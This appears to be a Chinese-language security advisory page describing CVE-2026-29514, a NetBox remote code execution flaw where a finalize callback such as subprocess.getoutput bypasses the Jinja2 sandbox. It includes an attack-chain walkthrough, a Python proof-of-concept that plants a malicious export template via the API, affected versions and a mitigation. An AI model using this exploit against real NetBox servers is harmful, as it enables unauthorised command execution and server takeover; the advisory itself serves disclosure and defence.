IPBUF安全漏洞报告
English
CVE-2026-29514 CVSS 8.8 高危

CVE-2026-29514 NetBox 远程代码执行漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-29514
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
NetBox

相关标签

RCENetBoxJinja2Sandbox BypassCVE-2026-29514Auth Required

漏洞概述

NetBox 4.3.5至4.5.4版本存在严重的远程代码执行漏洞。具备导出模板或配置模板权限的认证用户,可在环境参数字段中指定恶意Python回调函数,从而绕过Jinja2沙盒限制。攻击者利用此漏洞可执行任意系统命令,完全控制服务器。

技术细节

该漏洞源于NetBox的RenderTemplateMixin.get_environment_params()方法对环境参数的处理逻辑缺陷。NetBox使用Jinja2的SandboxedEnvironment进行模板渲染,默认拦截危险操作。然而,该方法允许用户通过environment_params自定义finalize参数。攻击者可将finalize参数设置为subprocess.getoutput等系统命令执行函数。在模板渲染过程中,finalize函数会在沙盒拦截机制之外被调用,从而成功绕过沙盒保护。结合exporttemplate或configtemplate权限,攻击者只需创建恶意模板并触发渲染,即可在NetBox服务用户上下文中执行任意代码。

攻击链分析

STEP 1
1. 信息收集与认证
攻击者获取NetBox目标系统的访问凭证,并确认账户具有exporttemplate或configtemplate权限。
STEP 2
2. 构造恶意载荷
攻击者准备恶意的环境参数,将finalize参数设置为subprocess.getoutput或其他危险函数,并编写简单的Jinja2模板代码。
STEP 3
3. 上传恶意模板
攻击者通过API或Web界面,利用上述权限创建一个新的导出模板或配置模板,注入包含恶意finalize回调的environment_params。
STEP 4
4. 触发渲染执行
攻击者触发该模板的渲染过程(例如导出设备数据)。渲染引擎调用finalize参数指定的函数,执行系统命令。
STEP 5
5. 获取服务器权限
命令以NetBox服务用户的权限执行,攻击者借此获得服务器控制权,可进一步窃取数据或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Exploit for CVE-2026-29514 # Target: NetBox 4.3.5 - 4.5.4 target = "http://your-netbox-instance" api_token = "YOUR_API_TOKEN" headers = { "Authorization": f"Token {api_token}", "Content-Type": "application/json", "Accept": "application/json" } # Malicious payload to bypass Jinja2 sandbox # Setting finalize to subprocess.getoutput allows command execution payload_data = { "name": "RCE_Exploit_Template", "content_type": "dcim.device", "template_code": "{{ 'whoami' }}", # The key is injecting a callable into finalize "environment_params": json.dumps({"finalize": "subprocess.getoutput"}) } try: # Step 1: Create the malicious export template response = requests.post( f"{target}/api/extras/export-templates/", headers=headers, json=payload_data ) if response.status_code == 201: print("[+] Malicious template created successfully.") template_id = response.json()['id'] print(f"[+] Template ID: {template_id}") # Step 2: Trigger rendering (This usually happens via export action) # Example: Exporting a device using this template # In a real attack, this would involve finding a valid device ID and triggering the export endpoint print("[+] Note: Manual trigger via the UI or specific export API endpoint required to execute code.") else: print(f"[-] Failed to create template: {response.text}") except Exception as e: print(f"[-] Error: {e}")

影响范围

NetBox 4.3.5
NetBox 4.3.6
NetBox 4.4.0
NetBox 4.4.1
NetBox 4.5.0
NetBox 4.5.1
NetBox 4.5.2
NetBox 4.5.3
NetBox 4.5.4

防御指南

临时缓解措施
如果无法立即升级,建议暂时撤销非管理员用户对导出模板和配置模板的写入权限,直到应用安全补丁为止。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表